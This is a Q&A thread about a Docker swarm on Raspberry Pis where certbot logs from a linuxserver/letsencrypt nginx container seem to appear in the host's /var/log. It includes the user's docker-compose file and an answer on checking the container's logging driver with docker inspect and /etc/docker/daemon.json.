Docker swarm LetsEncrypt nginx container writing to /var/log - docker-swarm

Question

I have a docker swarm running across 4 raspberryPis (1 manager, 3 workers). I was a little surprised today when I was diagnosing a crash on the master node and discovered that the container processes which were running on that host are writing their logs to /var/log on the host machine.
I'd thought that by default (and my swarm is using the default/basic config from the docker instructions here https://docs.docker.com/engine/swarm/swarm-tutorial/create-swarm/), docker writes its logs to a json-log output as part of Docker's own logging structure on the host. Is what I'm seeing expected behaviour, or have I badly misconfigured/misunderstood something?
For example, the letsencrypt image which runs an nginx ingress node for my swarm is writing its logs to /var/log/letsencrypt on my host machine. I wouldn't have thought this possible without me explicitly mounting the /var/log directory in my container spec.
It seems to be writing these certbot debug logs to /var/log/letsencrypt/letsencrypt.log on the host:
2020-07-19 07:11:46,615:DEBUG:certbot.main:certbot version: 0.31.0
2020-07-19 07:11:46,616:DEBUG:certbot.main:Arguments: ['-q']
2020-07-19 07:11:46,616:DEBUG:certbot.main:Discovered plugins: PluginsRegistry(PluginEntryPoint#manual,PluginEntryPoint#null,PluginEntryPoint#standalone,PluginEntryPoint#webroot)
2020-07-19 07:11:46,638:DEBUG:certbot.log:Root logging level set at 30
2020-07-19 07:11:46,639:INFO:certbot.log:Saving debug log to /var/log/letsencrypt/letsencrypt.log
Here's my nginx docker-compose file:
version: '3'
services:
nginx:
image: linuxserver/letsencrypt
volumes:
- /share/data/nginx/:/config
deploy:
mode: replicated
placement:
constraints:
- "node.role==manager"
ports:
- 80:80
- 443:443
environment:
- PUID=1001
- PGID=1001
- URL=mydomain.com
- SUBDOMAINS=www,mysite1,mysite2
- VALIDATION=http
- EMAIL=myemail#myprovider.com
- TZ=Europe/London
networks:
- internal
- monitoring_front-tier
networks:
internal:
external: true
monitoring_front-tier:
external: true

Answer 1

You can check which logging driver is configured on that container:
docker inspect -f '{{.HostConfig.LogConfig.Type}}' <container-id>
You can compare the result to how it is supposed to behave, according to the official documentation: https://docs.docker.com/config/containers/logging/configure/#supported-logging-drivers
You may also check if you chose to override the default json-file logging driver under /etc/docker/daemon.json. If the file does not exist, the json-file driver should be the one in use.